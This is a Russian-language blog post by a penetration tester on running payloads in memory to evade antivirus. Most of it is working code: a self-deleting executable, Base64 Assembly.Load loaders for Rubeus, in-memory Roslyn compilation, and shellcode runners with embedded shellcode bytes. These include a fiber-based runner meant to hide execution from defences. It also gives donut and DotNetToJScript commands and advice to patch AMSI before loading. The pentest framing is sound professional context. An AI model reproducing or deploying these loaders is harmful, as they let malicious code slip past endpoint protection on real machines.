Привет, Хабр! Меня зовут Миша, я работаю в МТС RED в команде тестирования на проникновение на позиции эксперта.

В ходе пентестов очень часто приходится бороться с антивирусами. Увы, это может отнимать много времени, что негативно сказывается на результатах проекта. Тем не менее есть парочка крутых трюков, которые позволят на время забыть про антивирус на хосте, и один из них - выполнение полезной нагрузки в памяти.

Ни для кого не секрет, что во время пентестов атакующим приходится использовать готовые инструменты, будь то нагрузка для Cobalt Strike, серверная часть от поднимаемого прокси-сервера или даже дампилка процесса lsass.exe. Что объединяет все эти файлы? То, что все они давным-давно известны антивирусам, и любой из них  не оставит без внимания факт появления вредоноса на диске.

Заметили ключевой момент? Факт появления вредоноса на диске. Неужели если мы сможем научиться выполнять пейлоад в оперативной памяти, то пройдём ниже радаров антивирусов? Давайте разберёмся с техниками выполнения файлов полностью в памяти и увидим, насколько жизнь атакующих станет проще, если они научатся работать, не затрагивая диск.

Основы выполнения в памяти

Не настраивайтесь на хардкор, я постараюсь рассказать всё простым и понятным языком.

Выполнение в памяти — абсолютно нормальное поведение. Я бы даже сказал, что всё только так и выполняется. По сути диск — лишь плацдарм, склад, с которого тянутся нужные программы, а затем загрузчик проецирует их в памяти и вызывает точку входа программы. Ничто не мешает нам собственноручно разместить байты данных в памяти, а затем заставить систему их выполнить.

Итак, предлагаю убедиться в том, что диск нам как таковой не нужен — всё успешно работает и без него, полностью в оперативной памяти. Пусть у нас будет файл example.exe, который сначала есть на диске, а потом его не станет: он пропадёт и останется лишь в ОЗУ. Такая техника называется Self-Deletion. Казалось бы, можно запустить пейлоад, а в нём предусмотреть вызов функции DeleteFIle(), но не тут-то было. При попытке удаления самого себя мы получим ошибку 0x5 ERROR_ACCESS_DENIED.

Тем не менее мы можем воспользоваться особенностями файловой системы NTFS, используемой в Windows. В ней существуют так называемые потоки данных, основным можно считать поток $DATA. Если пропадёт этот поток, то файл исчезнет, его невозможно будет прочитать.

К сожалению, поток удалить нельзя, но его можно переименовать, что так же приведёт к невозможности чтения содержимого файла и, как следствие, невозможности его повторного считывания и выполнения. Не будем особо углубляться в технические детали. Отмечу лишь, что переименование потока данных будет осуществляться с помощью функции SetFileInformationByHandle() с передачей в качестве FileInformationClass значения FileRenameInfo, а затем FileDispositionInfo.

Код
#include <Windows.h>
#include <iostream>
#define NEW_STREAM L":HABRAHABR"
 
 BOOL DeleteSelf() {
 
            	WCHAR                   	szPath[MAX_PATH * 2] = { 0 };
            	FILE_DISPOSITION_INFO   	Delete = { 0 };
            	HANDLE                  	hFile = INVALID_HANDLE_VALUE;
            	PFILE_RENAME_INFO       	pRename = NULL;
            	const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
            	SIZE_T                  	sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
 
            	pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
            	if (!pRename) {
                           	printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
 
            	ZeroMemory(szPath, sizeof(szPath));
            	ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
 
            	Delete.DeleteFile = TRUE;
            	pRename->FileNameLength = sizeof(NewStream);
            	RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
 
            	if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
                           	printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
            	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
            	if (hFile == INVALID_HANDLE_VALUE) {
                           	printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
            	wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);
 
            	if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
                           	printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
            	wprintf(L"[+] DONE \n");
 
            	CloseHandle(hFile);
 
            	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
            	if (hFile == INVALID_HANDLE_VALUE) {
                           	printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
            	wprintf(L"[i] DELETING ...");
 
            	if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
                           	printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
            	wprintf(L"[+] DONE \n");
 
            	CloseHandle(hFile);
 
            	HeapFree(GetProcessHeap(), 0, pRename);
 
            	return TRUE;
}
 
int main() {
            	DeleteSelf();
            	getchar();
            	return 0;
}

Как мы видим, процесс успешно создан и продолжает свою работу, даже когда с диска система уже не в состоянии что-либо прочитать. Это доказывает тот факт, что файл считывается загрузчиком, помещается в оперативную память, а затем идёт его выполнение.

Встроенные возможности языков для выполнения кода в памяти

C# и System.Reflection.Assembly

У некоторых языков есть встроенный функционал для выполнения определённого кода в памяти. Например, у C# есть неймспейс System.Reflection, а в нём класс Assembly с методом Load, который можно использовать для помещения и последующего выполнения C# сборки в памяти. Прототип следующий:

public static System.Reflection.Assembly Load (byte[] rawAssembly);

Функция принимает один-единственный параметр — rawAssembly. Он представляет собой массив байтов сборки, которую требуется поместить в память. Предлагаю рассмотреть файл Rubeus.exe — инструмент отлично подходит для демонстрации, ведь он написан на C#.

Для считывания байтов будем использовать File.ReadAllBytes, после чего будем передавать байты в описанную выше функцию и вызывать её точку входа.

using System;
using System.IO;
using System.Reflection; 
namespace AssemblyLoader
{
	class Program
	{
    	static void Main(string[] args)
    	{
        	Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe");
            ExecuteAssembly(bytes, new string[] { "user" });
 
            Console.Write("Press any key to exit");
        	string input = Console.ReadLine();
    	}
 
    	public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
    	{
        	Assembly assembly = Assembly.Load(assemblyBytes);
 
        	MethodInfo method = assembly.EntryPoint;
                                           	
        	object[] parameters = new[] { param };
 
        	object execute = method.Invoke(null, parameters);
    	}
	}
}
```

Таким образом, мы можем на машине атакующего считать все байты полезной нагрузки, а затем на машине атакуемого вызвать метод Assembly.Load(), что приведёт к возможности запуска пейлоада в памяти! Начнём со считывания байтов. Каждый раз использовать File.ReadAllBytes(), мягко говоря, нудно, поэтому байты можно считать с использованием Powershell:

$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);

В переменной $File будет находиться слишком большой массив байтов, с которым не очень удобно работать:

Поэтому предлагаю закодировать этот массив в Base64, а затем на машине атакуемого строку декодировать и получить нужный поток байтов.

$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;

Теперь остаётся лишь изменить наш лоадер, добавив в него полученную Base64 строку и функционал по её декодированию:

using System;
using System.IO;
using System.Reflection;
 
 
namespace AssemblyLoader
{
	class Program
	{
    	static void Main(string[] args)
    	{
        	string assemblyBase64 = "<b64 value>";
        	Byte[] bytes = Convert.FromBase64String(assemblyBase64);
            ExecuteAssembly(bytes, new string[] { "user" });
 
            Console.Write("Press any key to exit");
        	string input = Console.ReadLine();
    	}
 
    	public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
    	{
        	Assembly assembly = Assembly.Load(assemblyBytes);
 
        	MethodInfo method = assembly.EntryPoint;
 
        	object[] parameters = new[] { param };
 
        	object execute = method.Invoke(null, parameters);
    	}
	}
}

Причём не обязательно каждый раз генерировать новую сборку, ведь у нас есть возможность вызова дотнетовских методов из Powershell. В частности, можно обратиться к нужному нам System.Reflection, а из него вызывать метод Assembly.Load(), что позволит с таким же успехом загрузить сборку и обратиться к ней.

Синтаксис прост:

$blob = "<полученное base64>"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));

После чего нужно лишь выбрать желаемый для вызова метод, используя следующий синтаксис:

[<namespace>.<class>]::<method>()
# Ex
                     [Rubeus.Program]::Main()

В случае с запуском через Powershell все байты сборки, передаваемой в метод Assembly.Load(), перед загрузкой окажутся в AMSI, поэтому нужно предварительно запатчить AMSI, чтобы он не ругался на наш загружаемый пейлоад.

Причём далеко не каждая сборка сможет успешно загрузиться подобным образом. Следует убедиться, что в проекте используется Net Framework, а не Net Core, так как Core не получится грузить в память. Вот статья, которой можно руководствоваться при изменении проекта с Core на Net Framework. Выбрать нужный фреймворк тоже можно непосредственно при создании проекта в Visual Studio:

В ходе исследования этого метода подгрузки сборок оказалось, что иногда у Powershell не получается обнаружить наличие сборки в памяти, поэтому придётся собственноручно вычленять и вызывать нужный метод:

$data = 'байты сборки'
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType('Rubeus.Program');
$method = $class.GetMethod('Main');
$method.Invoke(0, $null)

C# и MemoryStream()

В C# присутствует ещё один интересный механизм, позволяющий компилировать сборки буквально на ходу из представленного исходного кода. Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.

Итак, сначала исходный код требуется подготовить с использованием CSharpSyntaxTree.ParseText(). В дальнейшем он должен храниться в виде экземпляра класса SyntaxTree.

SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
        	namespace ns{
            	using System;
            	public class App{
                    public static void Main(string[] args){
                        Console.Write(""dada"");
                	}
            	}
        	}");

Далее нужно добавить опции компиляции (у нас указывается, что это будет консольное приложение):

var options = new CSharpCompilationOptions(
           OutputKind.ConsoleApplication,
           optimizationLevel: OptimizationLevel.Debug,
           allowUnsafe: true);

Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создаём переменную, которая будет олицетворять сборку, для этого используется функция CSharpCompilation.Create(). Первым параметром указываем имя сборки, а последним — необходимые опции компилятора. В нашем случае генерируется рандомное имя.

var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);

Теперь у нас есть объект сборки, добавляем в неё исходный код, вызывая метод AddSyntaxTrees():

compilation = compilation.AddSyntaxTrees(syntaxTree);

Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется наличие метода System.Console.Write(), а откуда его возьмёт компилятор? Поэтому теперь в сборку следует добавить зависимости от других сборок. Они чаще всего представлены в виде .dll файлов, а стандартные сборки находятся в одной и той же директории, которую можно извлечь вот так:

var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);

Обратите внимание, что у проекта может быть множество зависимостей, поэтому потребуется завести список:

List<MetadataReference> references = new List<MetadataReference>();
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));

Дополнительно можно распарсить наше ранее созданное синтаксическое дерево (помните? В нём исходный код собираемой сборки лежит). Для этого используем вот такой код:

var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
  // добавляем расширение .dll
 foreach (var u in usings)
 {
   references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
  }
  • compilation.SyntaxTrees  — из объекта сборки получаем все синтаксические деревья

  • Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) — для каждого дерева из списка выполняется действие в скобках после Select. tree.GetRoot() возвращает корневой узел каждого дерева. DescendantNodes() получает все узлы дерева, производные от корневого. OfType<UsingDirectiveSyntax>() фильтрует узлы, оставляя только те, что представляют собой директивы using

  • SelectMany(s => s) — так как каждое дерево может содержать множество директив using, вызов SelectMany нужен для преобразования списка списков в один общий список

  • ToArray() — преобразует получившийся список в массив для дальнейшего использования. После чего пробегаемся по полученным сборкам и добавляем расширение .dll

Остаётся лишь добавить в объект сборки полученные зависимости и скомпилировать. Добавление осуществляется через метод compilation.AddReferences.

compilation = compilation.AddReferences(references);

Наконец вся магия исполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет работать с данными в памяти. Этот экземпляр мы передаём в метод compilation.Emit() (используется для компиляции сборки), что приводит к помещению скомпилированной сборки в память.

using (var ms = new MemoryStream())
    	{
        	EmitResult result = compilation.Emit(ms);
 
        	if (!result.Success)
        	{
                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
                    diagnostic.IsWarningAsError ||
                    diagnostic.Severity == DiagnosticSeverity.Error);
 
                foreach (Diagnostic diagnostic in failures)
            	{
                    Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
            	}
        	}
        	else
        	{
                ms.Seek(0, SeekOrigin.Begin);
                AssemblyLoadContext context = AssemblyLoadContext.Default;
                Assembly assembly = context.LoadFromStream(ms);
                assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
 
     	   }
    	}

Затем не составит труда извлечь сборку из памяти и вызвать метод из неё.

Полный код проекта приведён ниже.
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Runtime.Loader;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Emit;
 
class Program
{
	static void Main()
	{
    	// создание экземпляра класса, содержащего исходный код
  	  SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
        	namespace ns{
            	using System;
            	public class App{
                    public static void Main(string[] args){
                        Console.Write(""dada"");
                	}
            	}
        	}");
    	// создаем опции компилятора, в которых говорим, что у нас консольное приложение
    	var options = new CSharpCompilationOptions(
           OutputKind.ConsoleApplication,
           optimizationLevel: OptimizationLevel.Debug,
           allowUnsafe: true);
 
    	// создание объекта сборки
    	var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
 
    	// добавление исходного кода в сборку
    	compilation = compilation.AddSyntaxTrees(syntaxTree);
 
    	// получение локального путя, где лежат все сборки
    	var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
        List<MetadataReference> references = new List<MetadataReference>();
                           	
    	// добавление необходимых сборок в список
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
                           	
    	// добавляем сборки из синтаксического дерева
    	var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
 
    	// добавляем расширение .dll
    	foreach (var u in usings)
    	{
            references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
    	}
 
    	// добавляем зависимости
    	compilation = compilation.AddReferences(references);
 
    	// компилим
    	using (var ms = new MemoryStream())
    	{
        	EmitResult result = compilation.Emit(ms);
 
        	if (!result.Success)
        	{
                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
                    diagnostic.IsWarningAsError ||
                    diagnostic.Severity == DiagnosticSeverity.Error);
 
                foreach (Diagnostic diagnostic in failures)
           	 {
                    Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
            	}
        	}
        	else
        	{
                ms.Seek(0, SeekOrigin.Begin);
                AssemblyLoadContext context = AssemblyLoadContext.Default;
                Assembly assembly = context.LoadFromStream(ms);
                assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
 
     	   }
    	}
	}
}

Таким образом, мы можем запускать практически любой удобный для нас код в памяти. Единственная проблема — исходники будут в явном виде находиться в программе, что не есть хорошо, конечно. Но тут можно использовать какие-нибудь криптографические либо кодировочные функции для сокрытия исходного кода.

Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp:

C#, память и неуправляемый код

Дотнетовские сборки мы выполнять научились, но что, если программа была написана на С++? В этом случае она исполняется вне платформы CLR и будет считаться неуправляемым кодом. Как следствие, выполнить её в памяти через описанные выше методы не получится.

Точку ставить рано, ведь существуют шеллкоды. Что, если мы сгенерируем шеллкод от существующей программы на С++, затем засунем этот шеллкод в С# проект, в котором реализуем логику по инжекту этого шеллкода в адресное пространство текущего процесса? В таком случае на выходе у нас будет полноценная сборка, которая загружается с использованием System.Reflection.Assembly.Load() и выполняет наш шеллкод. Получается такая матрёшка из четырёх кукол: вызов Assembly.Load() — первая кукла, загружаемая сборка — вторая, шеллкод в сборке — третья, и, наконец, шеллкод представляет собой нашу С++ программу — четвёртая.

Итак, сначала предлагаю подготовить программу, которая будет осуществлять запуск нашего шеллкода. Здесь будем использовать стандартный шеллкод-раннер с помощью GetDelegateForFunctionPointer():

using System;
using System.Runtime.InteropServices;
 
namespace ShellcodeLoader
{
	public class Program
	{
    	public static void Main(string[] args)
    	{
        	byte[] x86shc = new byte[193] {
            0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
            0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
            0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
            0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
            0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
            0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
            0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
            0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
            0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
            0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
 
        	IntPtr funcAddr = VirtualAlloc(
                              IntPtr.Zero,
                              (uint)x86shc.Length,
                              0x1000, 0x40);
        	Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);
        	pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));
        	f();
 
        	return;
    	}
 
    	#region pinvokes
        [DllImport("kernel32.dll")]
    	public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    	delegate void pFunc();
 
    	#endregion
	}
}

Теперь конвертируем байты этой сборки по описанному выше алгоритму в base64 строку и запускаем через System.Reflection.Assembly:

Отлично! Запуск тестового шеллкода работает. Пора переходить к генерации непосредственно самого шеллкода. Сначала определимся с программой. Предлагаю написать что-то более-менее серьёзное, чтобы проверить теорию наверняка. Используем графику, различные API-вызовы, циклы, коллбэки и прочую жуть:

#include <Windows.h>

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	// Создание окна
	HWND hwnd;
	WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL };
    RegisterClassEx(&wc);
	hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL);
	ShowWindow(hwnd, nCmdShow);
 
	// Получение контекста устройства (Device Context)
	HDC hdc = GetDC(hwnd);
 
	// Рисование пикселей
	for (int x = 0; x < 800; x++)
	{
    	for (int y = 0; y < 600; y++)
    	{
            SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя
    	}
	}
 
	// Основной цикл сообщений
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
        TranslateMessage(&msg);
        DispatchMessage(&msg);
	}
 
	// Освобождаем ресурсы и завершаем программу
	ReleaseDC(hwnd, hdc);
    UnregisterClass(L"MyWindowClass", hInstance);
	return 0;
}
 
// Обработка сообщений окна
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_DESTROY:
        PostQuitMessage(0);
  	  return 0;
	}
 
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

Затем компилируем, после чего нужно перегнать программу в шеллкод. Для этого есть множество готовых инструментов:

Можно даже использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простой, поэтому предлагаю использовать стандартный donut:

donut.exe -i CodeToShc.exe -o code.bin -b 1

Затем перегоняем из .bin формата в шестнадцатеричный шеллкод, который можно будет вставить в программу:

xxd -i code.bin  > 1.h

В файле будет представлен шеллкод нашей программы:

Добавляем шеллкод в шеллкод-раннер и проверяем, что всё работает:

Остаётся лишь получить байты сборки и запустить эту сборку через System.Reflection.Assembly:

И получаем успешное выполнение сборки с шеллкодом:

Благодаря этому способу запуска шеллкода антивирус не в состоянии обнаружить такой способ инъекции:

Конвертация в JScript

Существует метод запуска дотнетовских сборок через конвертацию в JScript, для этого используется следующий инструмент: https://github.com/tyranid/DotNetToJScript.

Первым делом качаем проект по ссылке выше, открываем в студии, идём в Solution Explorer → тыкаем на TestClass.cs в проекте ExampleAssembly. Выбираем компилировать как .dll.

Затем наш код должен быть вставлен в классе TestClass(), например, следующий код выводит месседж-бокс:

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
            	public TestClass()
            	{
                           	MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            	}
            	public void RunProcess(string path)
            	{
                           	Process.Start(path);
            	}
}

После успешной компиляции в формате .dll используем скачанную выше тулзу для конвертации в js:

DotNetToJScript.exe <имя нашей длл> --lang=Jscript --ver=<версия .NET фреймворка> -o demo.js

# Ex
	DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

Полученный .js файл можно смело запускать, что приведёт к выполнению кода из TestClass(), а именно — появлению MessageBox.

Fibers

Фиберы — это одна из единиц выполнения кода, как процесс или поток. Фибер работает внутри конкретного потока. То есть выстраивается иерархия процесс → поток → фибер. Внутри потока может быть несколько фиберов. Причём фиберы управляются и контролируются самим приложением, а не операционной системой. Благодаря фиберам можно выстраивать более гибкие механизмы синхронизации, потому что они имеют собственный стек и регистры. Фиберы удобно использовать для задач сокрытия исполнения кода, так как выполнение кода внутри фиберов отследить намного сложнее, чем выполнение кода внутри потока. Самое интересное заключается в том, что стек фибера, как только фибер завершит свою работу, будет очищен. В результате чего антивирусному ПО будет сложнее обнаружить вредоносную активность в нашей программе.

Если же фибер внутри себя вызывает другой фибер, то стек очищен не будет. Будет произведено переключение стека и значений регистров на те, которые должны быть у фибера, на который переключились. Например, если в основном потоке значение регистра EAX 0x00, у фибера 1 оно равно 0x01, а у фибера 2 0x02, то, при переключении основного потока на фибер 1 значение регистра EAX станет равно 0x01, а при переключении из фибера 1 на фибер 2 оно станет равно 0x02. После завершения работы фибера 2 примет значение фибера 1 и т. д.

В идеале для сокрытия пейлоада от АВ следует разместить его где-то в файле — например, в PE, в соседней DLL библиотеке или где-то ещё. Затем запустить кучу потоков, в них кучу фиберов, а в каком-то из фиберов — полезную нагрузку.

Фиберы поддерживаются как в C#, так и в C++. Для разнообразия предлагаю этот PoC написать на C++. Итак, основная функция для работы с фиберами — CreateFiber():

LPVOID CreateFiber(
  [in]       	SIZE_T            	dwStackSize,
  [in]       	LPFIBER_START_ROUTINE lpStartAddress,
  [in, optional] LPVOID            	lpParameter
);
  • dwStackSize — начальный размер стека

  • LPFIBER_START_ROUTINE — коллбэк-функция, которая будет считаться главной функцией фибера. Она вызывается при старте фибера

  • lpParameter — некоторые дополнительные данные, которые мы хотим передать в фибер

После создания фибера его запустить можно с помощью SwitchToFiber(). Обратите внимание, что нельзя напрямую вызывать эту функцию из потока — не произойдёт перехода потока управления. Поэтому требуется предварительно конвертировать текущий поток в фибер с помощью ConvertThreadToFiber().

Фиберы отлично подходят для исполнения наших пейлоадов в памяти по причине их достаточно хорошей скрытности. Предлагаю начать писать простенький PoC, в котором будет десять потоков и десять фиберов, но лишь в одном из фиберов будет осуществлен запуск нашего шеллкода.

Для синхронизации предлагаю использовать мьютекс. Создадим ещё в начале нашей программы мьютекс, а затем дёрнем его перед запуском шеллкода, чтобы предотвратить его повторные запуски.

Код
#include <windows.h>
#include <vector>
#include <thread>
 
#define DEBUG
 
size_t numOfThreads = 10;
size_t numOfFibers = 10;
 
unsigned char shc[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
 
DWORD WINAPI threadProc(VOID*);
VOID WINAPI fiberProc(LPVOID);
 
HANDLE hMutex;
 
int main() {
    std::vector<HANDLE> threads(numOfThreads);
	hMutex = CreateMutex(NULL, FALSE, L"Mutex");
	for (auto& thread : threads)
	{
    	thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL);
	}
 
	for (auto& thread : threads)
	{
        WaitForSingleObject(thread, INFINITE);
	}
 
 
	return 0;
}
 
DWORD WINAPI threadProc(LPVOID lpParam) {
    std::vector<PVOID> fibers(numOfFibers);
    ConvertThreadToFiber(NULL);
 
 
 
	for (int i = 0; i < numOfFibers; ++i)
    {
    	fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);
    	
	}
 
	while (true)
	{
    	for (auto& fiber : fibers)
    	{
            SwitchToFiber(fiber);
    	}
	}
 
	return 0;
}
 
VOID WINAPI fiberProc(LPVOID lpParam) {
    WaitForSingleObject(hMutex, INFINITE);
	hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex");
	if (hMutex)
	{
    	PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(payload_mem, shc, sizeof(shc));
        ((void(*)())payload_mem)();
	}
 }

Вам нужно лишь заменить шеллкод на шеллкод Rubeus. Благодаря такому серьёзному скрытию кода мы вновь успешно исполняем его в памяти и остаёмся вне поля зрения антивируса:

Специальные лоадеры

Существует целый класс программ, так называемых Reflective Loader's, которые позволяют загружать код в память. Рефлективная загрузка кода в память основывается на том, что разработчик собственноручно создаёт алгоритм по занесению PE-файла в память — так же, как это делает и сам Windows. Либо хотя бы на уровне, чтобы пейлоад мог запуститься.

На Github достаточно много готовых PoC, выделю самые интересные:

  • Invoke-ReflectivePEInjection — повершелловский вариант

  • RunPE — подходит для запуска как управляемого, так и неуправляемого кода

  • FilelessPELoader — одна из самых толковых реализаций. Тянет пейлоад с удалённого сервера

Причём можно отдельно выделить класс программ, служащих для рефлективного внедрения DLL:

Тем не менее иногда все эти специальные лоадеры бесполезны. В большинстве случаев на пентесте достаточно перегнать программу в шеллкод, а затем заставить систему его как-нибудь выполнить. Причём если просто отойти от проторенной дороги и использовать ранее неизвестный метод запуска шеллкода, с большой вероятностью получится обойти антивирус.

